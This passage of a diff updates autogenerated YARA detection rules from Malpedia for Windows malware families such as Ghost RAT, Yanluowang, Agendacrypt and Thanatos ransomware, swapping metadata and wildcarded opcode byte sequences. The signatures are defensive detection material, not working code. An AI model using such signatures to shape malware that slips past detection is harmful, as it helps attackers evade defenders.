6a08 6aff 885c241c } + $sequence_1 = { 56 6a02 ff74241c ffd7 ff15???????? 83f87a 0f85e9000000 } + $sequence_2 = { 8bf0 e8???????? 85f6 740c 8b4508 3b07 } + $sequence_3 = { 83e801 740a 83e801 751c 80cb01 } + $sequence_4 = { 56 68000000c0 ff7510 ff15???????? } + $sequence_5 = { 8d442428 50 ff742438 ff15???????? 8d442440 50 68???????? } + $sequence_6 = { 7821 395df8 741c 6a04 8d45f8 } + $sequence_7 = { 8b08 50 ff5114 85c0 7404 33c0 } + $sequence_8 = { 8b442418 8d542430 59 59 56 8b08 } + $sequence_9 = { 896c241c 896c240c 896c2420 896c2438 895c2434 ff15???????? } condition: - 7 of them and filesize < 1581056 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Ice_Event_Auto : FILE +rule MALPEDIA_Win_Arefty_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "efa7e53a-c463-50f7-ba83-6d9ec3219251" + id = "00e4c323-1086-5d09-b0dc-b3d3486d1cb0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_event" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_event_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arefty_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "ef09062340f20eb30ff347046cee2303e5aa0ba34beeb1b65aa69fb96594e3f6" + logic_hash = "d90c0aff72ecb08f18ac74bec7d59a72670c6515429c6fde34529cd8bd03f3d6" score = 75 quality = 75 tags = "FILE" @@ -110129,32 +110209,32 @@ rule MALPEDIA_Win_Ice_Event_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48c74424780f000000 c644246000 488b4598 4883f810 } - $sequence_1 = { 3b0d???????? 7326 4863c9 488d15b4080100 488bc1 83e13f } - $sequence_2 = { 48c743180f000000 c60300 8bc6 488b4c2478 4833cc e8???????? 4c8d9c2480000000 } - $sequence_3 = { 4863f8 4803f7 4983c9ff 4c8bc7 488d542430 488d4dc8 } - $sequence_4 = { 4156 4883ec28 488b4210 498bf9 498bf0 } - $sequence_5 = { 660f28d1 660f28c1 4c8d0d8b9f0000 f20f101d???????? f20f100d???????? } - $sequence_6 = { 488bcb 4a8d1441 482bf5 4c8d3436 } - $sequence_7 = { 4833cc e8???????? 488b9c24a0110000 4881c470110000 5f } - $sequence_8 = { 8bce 894d30 8bc6 894538 ffc3 83fb3c 0f8c6cffffff } - $sequence_9 = { 488bce e8???????? eb55 4c896d68 48c745700f000000 } + $sequence_0 = { 57 e8???????? 83c404 83fbff 7407 53 } + $sequence_1 = { 50 53 ff15???????? 680000a000 e8???????? 8bf8 } + $sequence_2 = { 50 8b07 68???????? 6a03 8d04b0 50 e8???????? } + $sequence_3 = { 8b07 68???????? 6a03 8d04b0 } + $sequence_4 = { ff15???????? 680000a000 e8???????? 8bf8 } + $sequence_5 = { ff15???????? 85ff 7409 57 e8???????? 83c404 83fbff } + $sequence_6 = { 8b07 68???????? 6a03 8d04b0 50 e8???????? 46 } + $sequence_7 = { 0fb6041e 50 8b07 68???????? 6a03 8d04b0 50 } + $sequence_8 = { 50 53 ff15???????? 680000a000 e8???????? } + $sequence_9 = { 0fb6041e 50 8b07 68???????? 6a03 } condition: - 7 of them and filesize < 331776 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Regretlocker_Auto : FILE +rule MALPEDIA_Win_Kk_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50b9971a-330e-56d2-b756-71f28fc91f9f" + id = "d3a867fb-765c-587c-976d-8b832133ea92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regretlocker_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kk_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kk_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "ead6b2d4c6df817cb3c1a72366d53d238049299ae52f7c46e3aa685242a44978" + logic_hash = "f46ada63a222e5519816a10f8a2e3c2cfb8e81915e639c45c54d3595ef668e74" score = 75 quality = 75 tags = "FILE" @@ -110168,32 +110248,32 @@ rule MALPEDIA_Win_Regretlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d4d8f e8???????? 8bf8 6a20 58 ff35???????? } - $sequence_1 = { 7202 8b09 6a00 51 e8???????? 83f8ff } - $sequence_2 = { 8d8560feffff 8bce 50 e8???????? 84c0 746b } - $sequence_3 = { e9???????? 8b4df0 83c12c e9???????? 8d4dd8 e9???????? b8???????? } - $sequence_4 = { eb4c 8b08 80790d00 7439 8b4804 80790d00 } - $sequence_5 = { 8b01 8945ec 3bc1 0f84c5000000 8855e8 33ff 8855e4 } - $sequence_6 = { a5 a5 8d7dec ab ab } - $sequence_7 = { 56 57 8b7d08 8bf1 3bf7 742b 8d4718 } - $sequence_8 = { 8bc1 2b45cc 99 f7fb c645fc02 8bf0 8b45c4 } - $sequence_9 = { 5b 85c0 0f8569ffffff 8b4df4 8bc6 5f 5e } + $sequence_0 = { 8a4510 53 56 8bf1 57 8b7d08 8886d4000000 } + $sequence_1 = { 8d85f4fdffff 68???????? 50 e8???????? 8d85f8feffff 50 8d85f4fdffff } + $sequence_2 = { bb01000000 8b461c 83782c00 7421 8b4614 3bc2 761a } + $sequence_3 = { 7524 a1???????? a3???????? a1???????? c705????????24961010 8935???????? } + $sequence_4 = { 51 8b4508 b94d5a0000 66c7004d5a 663908 7404 33c0 } + $sequence_5 = { ff15???????? 53 50 8985ecfdffff 899de8fdffff ff15???????? } + $sequence_6 = { 741c 8d45cc 50 c745cc0b000000 c745f03ce51210 e8???????? 85c0 } + $sequence_7 = { 885dda c78504ffffff5245475f c78508ffffff45585041 c7850cffffff4e445f53 66c78510ffffff5a00 c78574ffffff5245475f c78578ffffff44574f52 } + $sequence_8 = { 897dfc 8b3d???????? ffd7 6a01 ff35???????? 8d8dbc60ffff ff35???????? } + $sequence_9 = { 8bf1 837e1410 57 7202 8b0e 8b450c } condition: - 7 of them and filesize < 1021952 + 7 of them and filesize < 3516416 } -rule MALPEDIA_Win_Redyms_Auto : FILE +rule MALPEDIA_Win_Cueisfry_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ef628f44-574a-5627-8d8b-734217cd0062" + id = "0fc68627-9787-5873-a3fa-a9f7712605ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redyms_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cueisfry_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "332ef19bb997044700a2b380446c47adf654ddb5c63453028d068b88131edb5b" + logic_hash = "c43c2b52de01a945341ae2efff0ffdd3edf0dcb4158573a62c18b687e85e4c2e" score = 75 quality = 75 tags = "FILE" @@ -110206,33 +110286,33 @@ rule MALPEDIA_Win_Redyms_Auto : FILE malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" - strings: - $sequence_0 = { c745d800000000 8b7dd8 56 6a00 ff15???????? } - $sequence_1 = { 53 03f7 56 57 e8???????? 83c40c } - $sequence_2 = { 2bf7 03c7 83ee02 56 8d540802 52 53 } - $sequence_3 = { b8???????? ffd0 898590feffff 85c0 } - $sequence_4 = { 8b856cfdffff 50 ff15???????? 6a09 8d8d74feffff 51 68???????? } - $sequence_5 = { 8b0f 014b2c 8b4b2c 85c0 7571 } - $sequence_6 = { 85ff 7433 8b95ecfeffff 83c2fc } - $sequence_7 = { 740b 50 53 ff15???????? 50 ffd6 8b45d4 } - $sequence_8 = { 6a00 68???????? 68???????? 51 56 } - $sequence_9 = { 8bf0 85f6 740c 8b550c 57 52 56 } - + strings: + $sequence_0 = { 68???????? e8???????? 8d8c24b8050000 68???????? 51 } + $sequence_1 = { 7517 8d8c24b0010000 68???????? 51 e8???????? } + $sequence_2 = { c3 81ec24030000 a1???????? 8b0d???????? } + $sequence_3 = { 8dbc2435010000 c684243401000000 68???????? f3ab 66ab 8d8c2438010000 51 } + $sequence_4 = { 8bee 33ff 85c9 89542430 896c2410 0f8ebd010000 8d4103 } + $sequence_5 = { b940000000 33c0 8dbc2435010000 c684243401000000 } + $sequence_6 = { 6aff 68???????? 64a100000000 50 64892500000000 81eca8070000 } + $sequence_7 = { 68???????? f3a5 50 e8???????? 8d4c2424 } + $sequence_8 = { 68???????? 50 c744242401000000 c744242000010000 } + $sequence_9 = { 51 8d442420 8bcc 89642430 50 c68424c401000003 } + condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Gcman_Auto : FILE +rule MALPEDIA_Win_Yanluowang_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5cac84ae-f553-54c6-a2ab-9c6f483e5d7f" + id = "4468bae4-7d21-5c9c-b3c6-a951c19ed833" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcman_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yanluowang_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "6db65719f209f972eea7f56ad4db94ab537c244677bf2af532fb68763547fbd8" + logic_hash = "7c2e1069418a1f62952d42a3190c40f6e9223a885e325767a86810d1579f3abb" score = 75 quality = 75 tags = "FILE" @@ -110246,32 +110326,32 @@ rule MALPEDIA_Win_Gcman_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 01d9 89de 31c6 21ce 31c6 0375c4 01f2 } - $sequence_1 = { 8d45d4 89442408 c744240413000020 8b45e4 890424 e8???????? } - $sequence_2 = { 89ce 31de 21c6 31de 0375a8 } - $sequence_3 = { 31c6 0375b4 01f1 81e979f22a0b c1c10e 01d9 } - $sequence_4 = { 89442408 8b4510 89442404 8b45e8 890424 e8???????? } - $sequence_5 = { 8b4508 40 0fb600 c0e804 240f 0202 8801 } - $sequence_6 = { c1e818 8802 8b550c 83c254 8b450c 8b4014 } - $sequence_7 = { 40 8945f4 eb0c 8d45e0 } - $sequence_8 = { 01c3 89de 31c6 31d6 0375d4 01f1 81c122619d6d } - $sequence_9 = { 890424 e8???????? 8b45ec 8945f4 8b45f4 803800 741f } + $sequence_0 = { c745dc00010001 c745e000010001 c745e400010001 c745e800010001 e8???????? 83c40c } + $sequence_1 = { 56 57 50 8d45f4 64a300000000 8995a4fdffff 898da0fdffff } + $sequence_2 = { 33733c 334b30 335338 8bc1 0bce 33f7 23f8 } + $sequence_3 = { 8b442438 336c2434 03d5 0fb6e8 c1e808 339cae00040000 33d8 } + $sequence_4 = { c744242c00000000 8bc3 b902000000 f7f6 807c241300 8bf0 8b442418 } + $sequence_5 = { 7402 890b 3355e8 8d4808 85c9 7402 } + $sequence_6 = { 0fbe41ff 8d04c528984400 ebbd 8a11 } + $sequence_7 = { ebdf c745e4b4a44400 c745e803000000 ebcf c745e4b8a44400 ebbf c745e4c0a44400 } + $sequence_8 = { 0f87f4010000 0fb680bbc94200 ff24859fc94200 8365e400 8d4de4 8365e800 6a7b } + $sequence_9 = { ff742418 6a00 6a00 6a04 6a01 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 834560 } -rule MALPEDIA_Win_Spyder_Patchwork_Auto : FILE +rule MALPEDIA_Win_Agendacrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff9f13ab-f307-5c96-9d42-3d8adb391da2" + id = "4966f69d-c40f-52c7-ab6b-916949adbb8d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder_patchwork" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_patchwork_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agendacrypt_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a4925947525684eeb2c63af57878906d58b4bbbd5876d1885456e41c85c55b5b" + logic_hash = "0e351b6d1fd5e325b27b4cca5ef7ee4f990f5eb0183c139b2c6519ec640c4f6c" score = 75 quality = 75 tags = "FILE" @@ -110285,34 +110365,34 @@ rule MALPEDIA_Win_Spyder_Patchwork_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3930 0f8551010000 8b4004 83f82a 7429 83f839 7424 } - $sequence_1 = { ff74246c 50 e8???????? 83c410 5f 5e 5b } - $sequence_2 = { 8904a9 8b4c2444 8b44241c c1e002 0101 8b4c2458 8b442430 } - $sequence_3 = { e9???????? 6800030000 8d44242c 50 6a07 6801990000 e8???????? } - $sequence_4 = { 743c ba80000000 be00080000 0f1f8000000000 0fb60419 0fb70445403b4400 } - $sequence_5 = { e8???????? ff7620 e8???????? 56 e8???????? 83c420 5f } - $sequence_6 = { 741f 8b542410 3bca 7617 8b4608 2bca 51 } - $sequence_7 = { 8b4c242c 8d04b0 8b28 4e ba02000000 894c2414 89442420 } - $sequence_8 = { 6689460c 8b0f 8bc1 83e002 83c800 741d 668b4648 } - $sequence_9 = { ff15???????? 6a06 6a00 ff15???????? 6a00 6a00 6a00 } + $sequence_0 = { e8???????? 85c0 0f8409010000 f30f7e05???????? 0f280d???????? 89442428 c744243404000000 } + $sequence_1 = { 8b75d4 89500c 85f6 7516 eb38 8b45e8 8b5804 } + $sequence_2 = { 89c3 81fba3030000 8955d8 0f84e9000000 660f1f840000000000 81fb00001100 0f8420ffffff } + $sequence_3 = { 8d4c2424 8d542470 e8???????? e9???????? b9???????? eb63 c744247006000000 } + $sequence_4 = { 8d4dec e8???????? 8b55f4 8b45ec 66c7045000ff 42 8955f4 } + $sequence_5 = { e8???????? 837dcc02 7211 a1???????? ff75d0 6a00 ff30 } + $sequence_6 = { e8???????? 8b7de8 8b75f0 8b4510 66c704772200 46 8975f0 } + $sequence_7 = { c745d000000000 8945f0 8d45f0 c745f490b04100 8945d8 c745dc01000000 8d45c8 } + $sequence_8 = { c1c20e 894dc0 8b4db4 c1c619 31d0 89fa 31f0 } + $sequence_9 = { f20f1145b0 894db8 742c f20f1045bc f20f104dc4 f20f114de4 f20f1145dc } condition: - 7 of them and filesize < 2260992 + 7 of them and filesize < 3340288 } -rule MALPEDIA_Win_Scieron_Auto : FILE +rule MALPEDIA_Win_Ghost_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "33fc8152-5e48-52c8-ac9b-34f4ee2aaa91" + id = "a5c1e7c4-1b2d-598f-9f4c-addb333c7981" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scieron_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_rat_auto.yar#L1-L313" license_url = "N/A" - logic_hash = "dfba23a630ecd443346ae8a23831b1a493de37d653bee925abed5860ba8acc68" + logic_hash = "1382f8506f533271928000e01179914edf911c946385102a130b99bae8ad91d3" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -110324,32 +110404,56 @@ rule MALPEDIA_Win_Scieron_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 85ff 7411 833d????????00 } - $sequence_1 = { 8b442424 33ff 217c241c 0144241c ff442410 6a10 58 } - $sequence_2 = { 57 eb6b 8b7c2410 3bfd } - $sequence_3 = { ffb614400010 83c718 ffb618400010 8d443c30 50 } - $sequence_4 = { c9 c3 55 8bec 51 e8???????? e8???????? } - $sequence_5 = { 7542 50 50 0fb78604020000 } - $sequence_6 = { ffd7 ffd0 6a04 8d442414 } - $sequence_7 = { e9???????? 81ec8c020000 53 8b1d???????? 55 33c0 57 } - $sequence_8 = { 8d85d8fdffff 50 ffd6 85c0 7409 } - $sequence_9 = { 53 6a40 ffd7 85c0 7414 } + $sequence_0 = { 8bd9 e8???????? 8b4d08 3bc8 } + $sequence_1 = { 8b400c 85c0 7505 a1???????? 50 8bce e8???????? } + $sequence_2 = { 6a01 56 ff15???????? 5e c20800 } + $sequence_3 = { 33c0 5b 8be5 5d c20400 894df4 } + $sequence_4 = { c745f800000000 df6df4 83ec08 dc0d???????? } + $sequence_5 = { c20400 894df4 c745f800000000 df6df4 } + $sequence_6 = { 6a6b 8bce e8???????? 5f 5e } + $sequence_7 = { 68???????? 50 6802000080 e8???????? 83c41c 5f 5e } + $sequence_8 = { 68???????? 68???????? 6a00 6a00 c705????????20010000 e8???????? 8b35???????? } + $sequence_9 = { e8???????? 8b8e549f0000 83c41c 89848e14030000 } + $sequence_10 = { e8???????? 83c40c ff7508 6a40 ff15???????? } + $sequence_11 = { ff7510 ff75dc ff15???????? 85c0 7507 } + $sequence_12 = { e9???????? 8d45dc 50 681f000200 } + $sequence_13 = { f7d1 49 7509 5f 5e 5b } + $sequence_14 = { 83c408 e8???????? c1e00a 6a04 } + $sequence_15 = { e8???????? 6a6f 8bce e8???????? 5e } + $sequence_16 = { 8dbd85feffff f3ab 66ab aa } + $sequence_17 = { 83c12c e9???????? 8b4df0 83c154 e9???????? 8b4df0 83c17c } + $sequence_18 = { 8d4e10 e8???????? 6a6b 8bce } + $sequence_19 = { 8365fc00 ff7508 ff15???????? 40 50 ff15???????? 59 } + $sequence_20 = { e8???????? 84c0 7505 83ceff eb2c } + $sequence_21 = { 89849614030000 8b86549f0000 40 8986549f0000 } + $sequence_22 = { 6a00 ff7628 ff15???????? 6a01 ff7620 ff15???????? 8b4e04 } + $sequence_23 = { 8bce ff75e8 e8???????? 8bce e8???????? 6a00 } + $sequence_24 = { ff15???????? 6800000002 6a00 6a00 ff15???????? } + $sequence_25 = { 6a00 6a00 6838040000 6a00 6a00 } + $sequence_26 = { 83e9fc c7014c696272 83e9fc c70161727941 83e9fc c70100000000 } + $sequence_27 = { 8b4608 8b7e20 8b36 813f6b006500 7406 813f4b004500 75e8 } + $sequence_28 = { ff8b8d60ffff ff03 0c90 898df4feffff } + $sequence_29 = { 8b4df0 51 8b9558ffffff 52 8b8560ffffff 50 } + $sequence_30 = { 83c40c c7856cffffff00000000 eb0f 8b8d6cffffff 83c101 } + $sequence_31 = { 03480c 894dc0 8b55c0 52 8b450c } + $sequence_32 = { 8d9530ffffff 52 6a40 8b4580 } + $sequence_33 = { 8b423c 8945ec 8b8d58ffffff 034dec } condition: - 7 of them and filesize < 100352 + 7 of them and filesize < 357376 } -rule MALPEDIA_Win_Floxif_Auto : FILE +rule MALPEDIA_Win_Unidentified_006_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ffd7b18b-df79-5e10-a446-739ad37f5cd1" + id = "97d4c257-a67c-55d3-ab2d-8345f8133abc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floxif_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_006_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "ea5402045cc061612aa202cf5adc4c091c680ec32b64c798623434387b1d2b20" + logic_hash = "e5d463a76ca11d9b4f7e0289dbf185a64b45114b95835b2526afa161b71d15ae" score = 75 quality = 75 tags = "FILE" @@ -110363,32 +110467,32 @@ rule MALPEDIA_Win_Floxif_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837dfc05 7e02 eb0d 68a00f0000 ff15???????? } - $sequence_1 = { eb09 8b45a8 83c001 8945a8 8d4dc0 e8???????? 3945a8 } - $sequence_2 = { 68???????? 8d4de0 e8???????? 68???????? b9???????? e8???????? 6a00 } - $sequence_3 = { e8???????? 8d4d08 51 8d4de4 e8???????? c645f400 } - $sequence_4 = { 51 8b55f4 52 8b45fc 50 6aff 8b4d08 } - $sequence_5 = { 837df800 7e68 8b45f8 83c001 50 6a00 8d8d4cffffff } - $sequence_6 = { c6855fffffff94 c68560ffffff92 c68561ffffffe1 c6458c00 c6458d00 c6458e72 } - $sequence_7 = { e8???????? e8???????? 83c410 682c010000 ff15???????? e8???????? 83ec10 } - $sequence_8 = { 83c40c 8b5510 52 8b450c c1e004 8b4d08 03c8 } - $sequence_9 = { 7629 a1???????? 0305???????? 8b4d0c 3981b8000000 7313 } + $sequence_0 = { 817c0afc54494b46 750c 83c2fc e8???????? } + $sequence_1 = { 83c603 25ff000000 30041a 42 3bd1 72df } + $sequence_2 = { 7410 8b55f4 85d2 7409 e8???????? } + $sequence_3 = { 59 84db 750d 85f6 7416 56 e8???????? } + $sequence_4 = { 85db 0f840a010000 56 ff75ec } + $sequence_5 = { 1bc0 23f8 0fb6875c204000 47 03c6 83c603 } + $sequence_6 = { 56 e8???????? 59 eb0d 8b45e8 8b4d08 } + $sequence_7 = { 85c0 7529 8b4dfc 85c9 } + $sequence_8 = { 832600 832700 6a06 ebba } + $sequence_9 = { 50 ff75ec 8bfb ff15???????? 85c0 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Bredolab_Auto : FILE +rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9ae7558-41e9-5f48-a345-a8a0a59274ec" + id = "36dfbc1b-2a7c-5015-aa84-898c9ae8a989" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bredolab_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_ransom_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "b7fcc4ad5e8f568651dead1485597f16282b873ba030d633458bd92c7562859d" + logic_hash = "0a185fa4c8cc02cde8300ce206abe6802953ff20e929d9c3889dfecd7dc1e60f" score = 75 quality = 75 tags = "FILE" @@ -110402,32 +110506,32 @@ rule MALPEDIA_Win_Bredolab_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 55 89e5 56 53 8b5508 8b4d0c } - $sequence_1 = { 75be 8b8348080000 40 898348080000 } - $sequence_2 = { 7424 8b5514 c60200 8d85e0f7ffff 89442404 c7042400080000 ff15???????? } - $sequence_3 = { 89853cfcffff ff15???????? 51 66c78560ffffff0800 c744240408020000 c7042400000000 ff15???????? } - $sequence_4 = { c7834808000000000000 c7442404???????? 8d4314 890424 ff15???????? } - $sequence_5 = { ff15???????? 57 57 8b45e4 89442404 8b4510 890424 } - $sequence_6 = { 895c2424 89542420 c744241c00000000 c744241800000000 } - $sequence_7 = { 84c0 75f6 894d14 8b5d14 c60300 8b4d0c 8b8560ffffff } - $sequence_8 = { 8b450c 8b5510 8d1c07 85c0 740a 807bff3f 7404 } - $sequence_9 = { 89d6 31db 6690 80be5409000000 7523 b030 } + $sequence_0 = { 837f1410 7240 8b4714 8b0f 40 3d00100000 722a } + $sequence_1 = { 50 e8???????? 83ec18 c645fc13 8bcc c741140f000000 c7411000000000 } + $sequence_2 = { f20f591c8580e94200 f20f592c8580e94200 03c0 660f58348590ed4200 660f5625???????? f20f58f0 } + $sequence_3 = { 6bc930 f6451402 8b0485e0774300 c644082900 } + $sequence_4 = { c64405e800 40 83f804 7cef 33f6 0f1f440000 8a4435e8 } + $sequence_5 = { c645fc14 8d4dd8 e8???????? 83c404 68???????? 8bd0 } + $sequence_6 = { 8b7508 8bce 68b8020000 68???????? c745fc00000000 } + $sequence_7 = { e8???????? 83c404 c645fc12 8b45ec c745d40f000000 c745d000000000 c645c000 } + $sequence_8 = { 43 837e1410 7204 8b06 eb02 } + $sequence_9 = { 83f81d 7cf1 eb07 8b0cc544be4200 894de4 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 516096 } -rule MALPEDIA_Win_Aveo_Auto : FILE +rule MALPEDIA_Win_Bee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "58fed8b1-4a4c-5644-af15-f834ce14a282" + id = "a6f6643e-0c7d-5aa3-acb3-5d655dc4ed63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aveo_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bee_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "50253623bc7141d72df42bdf99f9bb3131c73cf858d2c7872df300d67b84cd17" + logic_hash = "d470260abf875100cc9eec94a5fc9a99328d8a9951c079ae2b41e9596561de11" score = 75 quality = 75 tags = "FILE" @@ -110441,32 +110545,32 @@ rule MALPEDIA_Win_Aveo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894804 894808 89480c b9???????? 8d7901 8a11 41 } - $sequence_1 = { 68???????? e8???????? 83c404 899df4fdffff eb06 89b5f4fdffff 68???????? } - $sequence_2 = { 52 50 8d9df8feffff e8???????? } - $sequence_3 = { 8d8dfcefffff 51 8bf8 e8???????? 33ff 39bdf4efffff } - $sequence_4 = { e8???????? 83c40c 8d842418010000 50 8d8c241c030000 } - $sequence_5 = { b9???????? 8d7901 8a11 41 84d2 75f9 2bcf } - $sequence_6 = { 8db590fdffff 898574fdffff e8???????? be00100000 } - $sequence_7 = { 50 e8???????? 8d8df4f9ffff 51 8d95f4feffff 52 } - $sequence_8 = { 6803800000 50 ff15???????? 8b4de8 6a00 6a05 } - $sequence_9 = { 51 e8???????? 8b4df8 83c404 5f } + $sequence_0 = { 68???????? c706???????? 895618 6689461c 66894e1e ff15???????? } + $sequence_1 = { 3bee 7462 8a46b4 83ee50 83ef50 884704 } + $sequence_2 = { 83c404 8b8534ffffff 8d0cb6 8d1492 c1e104 03c8 } + $sequence_3 = { b8???????? e8???????? 8b15???????? 3bd3 7504 33c9 } + $sequence_4 = { ebc9 8bc8 c1f905 8d1c8d00534200 8bf8 83e71f c1e706 } + $sequence_5 = { ffd0 8b4c2410 64890d00000000 59 5f 5e 83c410 } + $sequence_6 = { e8???????? 83c404 8b4e7c 51 899e88000000 899e8c000000 899e90000000 } + $sequence_7 = { 50 8d4c2438 51 8d4c2444 } + $sequence_8 = { 8d442440 64a300000000 8bf9 833d????????10 a1???????? } + $sequence_9 = { 7639 0fb654240c 0fb644240d 0fb6c9 034c2414 03c2 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 394240 } -rule MALPEDIA_Win_Frozenhill_Auto : FILE +rule MALPEDIA_Win_Satellite_Turla_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "67a93804-b581-5120-9731-01f5ce053d83" + id = "db4c3339-c415-5711-a90e-cee07a736590" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.frozenhill" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.frozenhill_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satellite_turla_auto.yar#L1-L159" license_url = "N/A" - logic_hash = 